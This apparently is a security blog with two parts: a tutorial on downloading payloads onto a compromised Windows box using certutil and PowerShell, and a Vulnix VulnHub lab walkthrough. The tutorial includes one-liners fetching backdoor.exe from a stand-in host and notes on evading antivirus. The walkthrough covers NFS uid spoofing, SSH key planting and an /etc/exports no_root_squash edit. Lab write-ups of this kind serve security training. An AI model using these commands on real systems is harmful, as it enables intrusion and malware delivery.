So you’ve just popped a Windows box and need to move additional files to it...
Generally, in post exploitation, moving/transferring data within nix is relatively straight forward. Most of the time you’ll have at least curl, wget, nc, and/or scp to play with. In windows, not so much. But are you sure about that?
Here are two of my favourite methods for downloading files to my target box through a shell. My aim here is to use built-in tools and small one-liner commands that do not leave a footprint on the filesystem, and relatively stable from a non-interactive reverse shell.
Yes, these may leave some sort of temporary artefact, but I’m not including the creation of a vbs/ps1 script onto the target filesystem to download files… There’s definitely more ways of doing this, but below are ‘stealthier’ approaches by living off the land…
--> CERTUTIL
This is my favourite method.
Certutil is a built-in command line tool for various certificate based tasks with both client and server operations.
I believe it’s been built into Windows since XP/2K3… possibly 2K…
The exact parameter we can use to download files from a webserver is –urlcache and -split. The intended purpose of the urlcache parameter is to view and delete CRLs, and split allows you to save the output to a file.
We both of these, you can direct it to a webserver of your liking and download whatever you want!
As below, a successful download of a meterpreter exe:
The webserver will receive two GET requests:
However, the best part is being able to decode base64 encoded payloads without any additional tools. This is all possible with just using certutil.
Two of the main certificate formats used in Windows is DER and Base64.
Take the below certificate as an example. This is a Microsoft Root CA certificate exported in base64. If you view the raw contents of the file, you can see its base64 encoded:
You can decode it and output its content on the fly by simply using certutil:
Or, you can decode the contents into a new file with the –decode switch:
Passing these files to my kali machine, using the file command I can see it’s successfully converted the format:
So let’s take my meterpreter executable and base64 encode it:
Now from my reverse shell, I download the base64 encoded meterpreter exe as a text file:
Now I use certuil to decode the base64 content to bring the file back to its original PE format. Once decoded, I execute it:
Just to prove a point, the file remains intact and works:
What’s great, is that this has the potential of bypassing firewalls, WAFs and even less reputable AV engines. All possible using a built in legitimate Windows SIGNED command line tool
--> PowerShell
First, depending on what OS and PowerShell version you’re running, determines what you can use. Remember, the point of this blog entry is about using what’s there without installing or saving anything additional on disk. To check what PowerShell version is running on your target use $PSVersionTable.PSVersion as below:
If your major version is 3+ (Windows 8+/Server 2012+) you can use wget, which is an alias for Invoke-WebRequest. It works similar to the nix wget command:
wget http://evil.website.com/backdoor.exe -OutFile c:\temp\backdoor.exe
or
Invoke-WebRequest http://evil.website.com/backdoor.exe -OutFile c:\temp\backdoor.exe
Older than PowerShell 3.0? Never fear, the following is here:
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://YOURIP:8000/b.exe','C:\Users\YOURUSER\Desktop\b.exe')" 
--> UPDATE!
Since the Windows 10 April 2018 update, OpenSSH is installed by default.
That means in addition to all of these two…. If you’re able to get a shell on an April 2018 build of Windows 10, you can use scp!
https://www.bleepingcomputer.com/news/microsoft/windows-10-openssh-client-installed-by-default-in-april-2018-update/
--> n33dle
Time for a vulnhub machine.
https://www.vulnhub.com/entry/hacklab-vulnix,48/
--> MISSION
The goal; boot up, find the IP, hack away and obtain the trophy hidden away in /root by any means you wish – excluding the actual hacking of the vmdk
--> REC0N / ENUMERATION
As always, first check what the IP is of the target machine:
root@kali:~/Documents/vulnhub/vulnix# netdiscover -r 192.168.253.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.253.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.253.2 00:50:56:e9:d6:36 1 60 VMware, Inc.
192.168.253.129 00:0c:29:bb:dd:2f 1 60 VMware, Inc.
192.168.253.254 00:50:56:f0:0f:0a 1 60 VMware, Inc.
Ok, 192.168.253.129 is my target.
First I always like to get a quick look at what ports are open. Full scan without any NSE/enumeration:
root@kali:~/Documents/vulnhub/vulnix# nmap -n -v -sS -p- -T4 192.168.253.129
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
79/tcp open finger
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap
512/tcp open exec
513/tcp open login
514/tcp open shell
993/tcp open imaps
995/tcp open pop3s
2049/tcp open nfs
33848/tcp open unknown
37123/tcp open unknown
48943/tcp open unknown
50813/tcp open unknown
60842/tcp open unknown
Now a bit more to see about each service:
root@kali:~/Documents/vulnhub/vulnix # nmap -n -v -sS -sV -p- -T4 192.168.253.129
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
79/tcp open finger Linux fingerd
110/tcp open pop3?
111/tcp open rpcbind 2-4 (RPC #100000)
143/tcp open imap Dovecot imapd
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3s?
2049/tcp open nfs_acl 2-3 (RPC #100227)
33848/tcp open mountd 1-3 (RPC #100005)
37123/tcp open mountd 1-3 (RPC #100005)
48943/tcp open mountd 1-3 (RPC #100005)
50813/tcp open nlockmgr 1-4 (RPC #100021)
60842/tcp open status 1 (RPC #100024)
There’s a bit to look at here. My initial thoughts are finger, good for user enum and smtp… I’ll kick off an aggressive scan to invoke the NSE goodness:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=vulnix
| Issuer: commonName=vulnix
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2012-09-02T17:40:12
| Not valid after: 2022-08-31T17:40:12
| MD5: 58e3 f1ac fef6 b6d1 744c 836f ba24 4f0a
|_SHA-1: 712f 69ba 8c54 32e5 711c 898b 55ab 0a83 44a0 420b
|_ssl-date: 2018-06-16T03:43:00+00:00; +4s from scanner time.
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: STLS SASL RESP-CODES PIPELINING CAPA UIDL TOP
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Issuer: commonName=vulnix/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2012-09-02T17:40:22
| Not valid after: 2022-09-02T17:40:22
| MD5: 2b3f 3e28 c85d e10c 7b7a 2435 c5e7 84fc
|_SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b 1eee 6856 348e
|_ssl-date: 2018-06-16T03:43:00+00:00; +4s from scanner time.
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 37123/tcp mountd
| 100005 1,2,3 45940/udp mountd
| 100021 1,3,4 50813/tcp nlockmgr
| 100021 1,3,4 58523/udp nlockmgr
| 100024 1 57690/udp status
| 100024 1 60842/tcp status
| 100227 2,3 2049/tcp nfs_acl
|_ 100227 2,3 2049/udp nfs_acl
143/tcp open imap Dovecot imapd
|_imap-capabilities: more LOGIN-REFERRALS ENABLE post-login LITERAL+ Pre-login LOGINDISABLEDA0001 capabilities STARTTLS IDLE IMAP4rev1 listed have SASL-IR ID OK
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Issuer: commonName=vulnix/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2012-09-02T17:40:22
| Not valid after: 2022-09-02T17:40:22
| MD5: 2b3f 3e28 c85d e10c 7b7a 2435 c5e7 84fc
|_SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b 1eee 6856 348e
|_ssl-date: 2018-06-16T03:43:00+00:00; +4s from scanner time.
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
993/tcp open ssl/imap Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS ENABLE post-login LITERAL+ Pre-login more AUTH=PLAINA0001 IDLE capabilities SASL-IR listed have IMAP4rev1 ID OK
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Issuer: commonName=vulnix/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2012-09-02T17:40:22
| Not valid after: 2022-09-02T17:40:22
| MD5: 2b3f 3e28 c85d e10c 7b7a 2435 c5e7 84fc
|_SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b 1eee 6856 348e
|_ssl-date: 2018-06-16T03:42:59+00:00; +4s from scanner time.
995/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: USER SASL(PLAIN) RESP-CODES PIPELINING CAPA UIDL TOP
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Issuer: commonName=vulnix/organizationName=Dovecot mail server
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2012-09-02T17:40:22
| Not valid after: 2022-09-02T17:40:22
| MD5: 2b3f 3e28 c85d e10c 7b7a 2435 c5e7 84fc
|_SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b 1eee 6856 348e
|_ssl-date: 2018-06-16T03:42:59+00:00; +4s from scanner time.
2049/tcp open nfs_acl 2-3 (RPC #100227)
33848/tcp open mountd 1-3 (RPC #100005)
37123/tcp open mountd 1-3 (RPC #100005)
48943/tcp open mountd 1-3 (RPC #100005)
50813/tcp open nlockmgr 1-4 (RPC #100021)
60842/tcp open status 1 (RPC #100024)
SMTP; we have the VRFY command which can also be used to enumerate users and emails. Interesting that there is a SMTP vulnix command. Hmmm perhaps something custom? Might come back to that later...
I’ve been caught out with Dovecot before… I know there are a few vulns. I have used a exim/dovecot exploit before, but hasn’t been that reliable in the past. I won’t jump the gun just yet.
r
oot@kali:~/Documents/vulnhub/vulnix# searchsploit dovecot
-------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------- ----------------------------------------
Dovecot 1.1.x - Invalid Message Address Parsing Denial of Service | exploits/linux/dos/32551.txt
Dovecot IMAP 1.0.10 < 1.1rc2 - Remote Email Disclosure | exploits/multiple/remote/5257.py
Dovecot with Exim - 'sender_address' Remote Command Execution | exploits/linux/remote/25297.txt
-------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
I should also check out any nfs exports on tcp/2049…
So the hostname is vulnix, I always like to try and see if a user exist with the same name. Let’s try that:
…And looks like I’m correct here:
root@kali:~/Documents/vulnhub/vulnix# finger vulnix@192.168.253.129
Login: vulnix Name:
Directory: /home/vulnix Shell: /bin/bash
Never logged in.
No mail.
No Plan.
root@kali:~/Documents/vulnhub/vulnix# finger shouldnotexist@192.168.253.129
finger: shouldnotexist: no such user.
And just to show another method through smtp using the VRFY command:
root@kali:~/Documents/vulnhub/vulnix# nc -nv 192.168.253.129 25
(UNKNOWN) [192.168.253.129] 25 (smtp) open
220 vulnix ESMTP Postfix (Ubuntu)
vrfy vulnix
252 2.0.0 vulnix
vrfy shouldnotexist
550 5.1.1 <shouldnotexist>: Recipient address rejected: User unknown in local recipient table
quit
221 2.0.0 Bye
Next I’ll check what (if any) nfs exports are available. Can view this with the showmount command and ‘e’ option. Which lists any exports:
root@kali:~/Documents/vulnhub/vulnix# showmount -e 192.168.253.129
Export list for 192.168.253.129:
/home/vulnix *
And what do you know! Looks like the home drive of user vulnix is being exported. Let’s try and mount it:
root@kali:~/Documents/vulnhub/vulnix# mkdir mnt
root@kali:~/Documents/vulnhub/vulnix# mount -t nfs 192.168.253.129:/home/vulnix mnt/
Bingo!
However, I can’t access it:
root@kali:~/Documents/vulnhub/vulnix# ll
total 4
drwxr-x--- 2 nobody nobody 4096 Sep 2 2012 mnt
root@kali:~/Documents/vulnhub/vulnix# cd mnt/
bash: cd: mnt/: Permission denied
Hmmm nobody:nobody….
Maybe all is not lost?
When I check the mount, it’s defaulting to nfs4.
root@kali:~/Documents/vulnhub/vulnix# mount | grep 192.168.253.129
192.168.253.129:/home/vulnix on /root/Documents/vulnhub/vulnix/mnt type nfs4 (rw,relatime,vers=4.0,rsize=65536,wsize=65536,namlen=255,hard,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.253.128,local_lock=none,addr=192.168.253.129)
I remember seeing this in the past. Nfs4 defaults to automap remote and local uids. Perhaps if I remount using nfs3, I can at least see what the vulnix user uid is…
root@kali:~/Documents/vulnhub/vulnix# umount /root/Documents/vulnhub/vulnix/mnt
root@kali:~/Documents/vulnhub/vulnix# mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1001340k,nr_inodes=250335,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=203968k,mode=755)
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
cgroup2 on /sys/fs/cgroup/unified type cgroup2 (rw,nosuid,nodev,noexec,relatime,nsdelegate)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)
pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)
bpf on /sys/fs/bpf type bpf (rw,nosuid,nodev,noexec,relatime,mode=700)
cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=37,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=12535)
mqueue on /dev/mqueue type mqueue (rw,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime,pagesize=2M)
fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,relatime)
tmpfs on /run/user/131 type tmpfs (rw,nosuid,nodev,relatime,size=203964k,mode=700,uid=131,gid=139)
gvfsd-fuse on /run/user/131/gvfs type fuse.gvfsd-fuse (rw,nosuid,nodev,relatime,user_id=131,group_id=139)
tmpfs on /run/user/0 type tmpfs (rw,nosuid,nodev,relatime,size=203964k,mode=700)
gvfsd-fuse on /run/user/0/gvfs type fuse.gvfsd-fuse (rw,nosuid,nodev,relatime,user_id=0,group_id=0)
root@kali:~/Documents/vulnhub/vulnix# mount -t nfs -o vers=3 192.168.253.129:/home/vulnix mnt/
root@kali:~/Documents/vulnhub/vulnix# cd mnt/
bash: cd: mnt/: Permission denied
Success. I’ve remounted it using nfs3 and can now see vulnix’s uid is 2008. I still can’t access it, but as it’s exported I can probably access it by creating a new local user with the same uid (2008).
Here we go:
root@kali:~/Documents/vulnhub/vulnix# useradd n33dle -u 2008
root@kali:~/Documents/vulnhub/vulnix# id n33dle
uid=2008(n33dle) gid=2008(n33dle) groups=2008(n33dle)
root@kali:~/Documents/vulnhub/vulnix# cd mnt/
bash: cd: mnt/: Permission denied
root@kali:~/Documents/vulnhub/vulnix# su n33dle
$ id
uid=2008(n33dle) gid=2008(n33dle) groups=2008(n33dle)
$ pwd
/root/Documents/vulnhub/vulnix
$ ll
sh: 3: ll: not found
$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Jun 15 23:59 .
drwxr-xr-x 3 root root 4096 Jun 15 23:26 ..
drwxr-x--- 2 n33dle n33dle 4096 Sep 2 2012 mnt
$ cd mnt
$ ls -la
total 20
drwxr-x--- 2 n33dle n33dle 4096 Sep 2 2012 .
drwxr-xr-x 3 root root 4096 Jun 15 23:59 ..
-rw-r--r-- 1 n33dle n33dle 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 n33dle n33dle 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 n33dle n33dle 675 Apr 3 2012 .profile
$ touch n33dle
$ ls -la
total 20
drwxr-x--- 2 n33dle n33dle 4096 Jun 16 2018 .
drwxr-xr-x 3 root root 4096 Jun 15 23:59 ..
-rw-r--r-- 1 n33dle n33dle 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 n33dle n33dle 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 n33dle n33dle 0 Jun 16 2018 n33dle
-rw-r--r-- 1 n33dle n33dle 675 Apr 3 2012 .profile
Awesome. It works. So as above I’ve created a new user n33dle, changed to said user and now able to access /home/vulnix on vulnix. I create a file ‘n33dle’ just to check and see if I’ve got RW access. Sure enough, I do!
Now what?!
Seeing as SSH is also available and I have RW access I could generate a new SSH key. But first, let’s see if the first method of authentication on the target is key auth:
root@kali:~/Documents/vulnhub/vulnix# ssh -v 192.168.253.129
OpenSSH_7.6p1 Debian-4, OpenSSL 1.0.2o 27 Mar 2018
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: Applying options for *
debug1: Connecting to 192.168.253.129 [192.168.253.129] port 22.
debug1: Connection established.
debug1: permanently_set_uid: 0/0
debug1: SELinux support disabled
debug1: key_load_public: No such file or directory
debug1: identity file /root/.ssh/id_rsa type -1
debug1: key_load_public: No such file or directory
debug1: identity file /root/.ssh/id_rsa-cert type -1
debug1: key_load_public: No such file or directory
debug1: identity file /root/.ssh/id_dsa type -1
debug1: key_load_public: No such file or directory
debug1: identity file /root/.ssh/id_dsa-cert type -1
debug1: key_load_public: No such file or directory
debug1: identity file /root/.ssh/id_ecdsa type -1
debug1: key_load_public: No such file or directory
debug1: identity file /root/.ssh/id_ecdsa-cert type -1
debug1: key_load_public: No such file or directory
debug1: identity file /root/.ssh/id_ed25519 type -1
debug1: key_load_public: No such file or directory
debug1: identity file /root/.ssh/id_ed25519-cert type -1
debug1: Local version string SSH-2.0-OpenSSH_7.6p1 Debian-4
debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1 Debian-5ubuntu1
debug1: match: OpenSSH_5.9p1 Debian-5ubuntu1 pat OpenSSH_5* compat 0x0c000000
debug1: Authenticating to 192.168.253.129:22 as 'root'
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: ecdh-sha2-nistp256
debug1: kex: host key algorithm: ecdsa-sha2-nistp256
debug1: kex: server->client cipher: aes128-ctr MAC: umac-64@openssh.com compression: none
debug1: kex: client->server cipher: aes128-ctr MAC: umac-64@openssh.com compression: none
debug1: sending SSH2_MSG_KEX_ECDH_INIT
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: Server host key: ecdsa-sha2-nistp256 SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg
The authenticity of host '192.168.253.129 (192.168.253.129)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.253.129' (ECDSA) to the list of known hosts.
debug1: rekey after 4294967296 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: rekey after 4294967296 blocks
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,password
debug1: Next authentication method: publickey
debug1: Trying private key: /root/.ssh/id_rsa
debug1: Trying private key: /root/.ssh/id_dsa
debug1: Trying private key: /root/.ssh/id_ecdsa
debug1: Trying private key: /root/.ssh/id_ed25519
debug1: Next authentication method: password
root@192.168.253.129's password:
Sure is! Ok, now I’ll generate the keys:
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/n33dle/.ssh/id_rsa):
Created directory '/home/n33dle/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/n33dle/.ssh/id_rsa.
Your public key has been saved in /home/n33dle/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:+937koLWvcyEFJyfLUgNmeb5Y6c3IGFZoeuUyfe59us n33dle@kali
The key's randomart image is:
+---[RSA 2048]----+
| .+. |
| .== |
| +B.. |
| .=*+ o |
| S .*+o+ .|
| .oo.o=.o|
| . +oooB |
| .o.o==oo|
| .. ..OE*|
+----[SHA256]-----+
With the key generated, I now create an .ssh directory on the target through the moutned nfs share. I also output the contents of the generated public ssh key, to a new authorized_keys ssh file.
See https://www.ssh.com/ssh/authorized_keys/
$ mkdir .ssh
$ cd .ssh
$ ls -la
total 8
drwxr-xr-x 2 n33dle n33dle 4096 Jun 16 2018 .
drwxr-x--- 4 n33dle n33dle 4096 Jun 16 2018 ..
$ cat /home/n33dle/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkAUTwXQfUuRTAiXB2/Pk4J0wGjGe5mjQTCvY13v42TnRFTeJJPgD+TZB+L0Ri0zeF5dmoMsOwsfSF+egbuRzBvpRmJV1O7xHelgzG+WDRNoIAO+U7PFyOTvy1JARJ5pq4L8LjyDrrQquVD3YVUoaUknF7rDhs2pZbbalFjZxl35DnesovJUnUjsPim0XFkgF26Lt8UE0p/B6FjexyvKetDb/nqK2AaoIGce6d61CHPBzW/IsYXP+QOx9DS3pvavnDsRv+H44ZNFEaV1uBxYcI2+NujZqGrlqZhaxwHxXnCL9DQoX4Kq7dYgkqLQxf9ykm93E0YONI6R7fY4U9MqNr n33dle@kali
$ pwd
/root/Documents/vulnhub/vulnix/mnt/.ssh
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkAUTwXQfUuRTAiXB2/Pk4J0wGjGe5mjQTCvY13v42TnRFTeJJPgD+TZB+L0Ri0zeF5dmoMsOwsfSF+egbuRzBvpRmJV1O7xHelgzG+WDRNoIAO+U7PFyOTvy1JARJ5pq4L8LjyDrrQquVD3YVUoaUknF7rDhs2pZbbalFjZxl35DnesovJUnUjsPim0XFkgF26Lt8UE0p/B6FjexyvKetDb/nqK2AaoIGce6d61CHPBzW/IsYXP+QOx9DS3pvavnDsRv+H44ZNFEaV1uBxYcI2+NujZqGrlqZhaxwHxXnCL9DQoX4Kq7dYgkqLQxf9ykm93E0YONI6R7fY4U9MqNr n33dle@kali" > authorized_keys
$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkAUTwXQfUuRTAiXB2/Pk4J0wGjGe5mjQTCvY13v42TnRFTeJJPgD+TZB+L0Ri0zeF5dmoMsOwsfSF+egbuRzBvpRmJV1O7xHelgzG+WDRNoIAO+U7PFyOTvy1JARJ5pq4L8LjyDrrQquVD3YVUoaUknF7rDhs2pZbbalFjZxl35DnesovJUnUjsPim0XFkgF26Lt8UE0p/B6FjexyvKetDb/nqK2AaoIGce6d61CHPBzW/IsYXP+QOx9DS3pvavnDsRv+H44ZNFEaV1uBxYcI2+NujZqGrlqZhaxwHxXnCL9DQoX4Kq7dYgkqLQxf9ykm93E0YONI6R7fY4U9MqNr n33dle@kali
Now let’s see what happens when I ssh to the target, using the generated ssh key within my local n33dle users’ home drive:
root@kali:~/Documents/vulnhub/vulnix# ssh -i /home/n33dle/.ssh/id_rsa vulnix@192.168.253.129
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat Jun 16 05:29:22 BST 2018
System load: 0.0 Processes: 89
Usage of /: 90.2% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.253.129
Swap usage: 0%
=> / is using 90.2% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
vulnix@vulnix:~$
--> TIME TO PE
First, what are we dealing with?
Linux Kernel 32bit 3.2.0-29 and Ubuntu 12.04.1
vulnix@vulnix:~$ uname -ra
Linux vulnix 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux
vulnix@vulnix:~$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04.1 LTS"
vulnix@vulnix:~$ id
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)
vulnix@vulnix:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
postfix:x:104:110::/var/spool/postfix:/bin/false
dovecot:x:105:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:106:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:107:113::/var/lib/landscape:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash
statd:x:109:65534::/var/lib/nfs:/bin/false
vulnix@vulnix:~$ cd /root
Now for my go to enumeration scripts: linuxprivchecker.py and LinEnum.sh
I have it hosted on my local machine through the useful python SimpleHTTPServer. So a quick download, chmod it and execute
Ah huh!
[+] We can sudo without supplying a password!
Matching 'Defaults' entries for vulnix on this host:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host:
(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
Looks like the vulnix user has sudoedit access to /etc/exports. The LinEnum.sh script as identified this by running sudo –l which lists what sudo abilities the current user has. In theory… with this, we should be able to export anything we want! Perhaps I can use the same initial vector? But let’s not get too excited. The ssh config would have to allow root login for this to work. We can verify this by checking the contents of the sshd_config file which is world readable. The exact parameter we want is PermitRootLogin:
vulnix@vulnix:~$ cat /etc/ssh/sshd_config | grep PermitRootLogin
PermitRootLogin yes
# the setting of "PermitRootLogin without-password".
Ohhh we’re in business!
Using sudoedit /etc/exports I add the /root directory and (important) add no_root_squash to the options. This disables the protection to avoid remote root users (my kali root user) with access to ‘root’ on the target (As root user on any nix system have the same uid = 0). In other terms, you DON’T want to set anything like this EVER on a production system. Or any system for that matter!
/etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix *(rw,root_squash)
/root *(rw,no_root_squash)
Dammit! So that's a problem. I can’t refresh the nfs exports. I don’t have permission.
vulnix@vulnix:~$ exportfs -ra
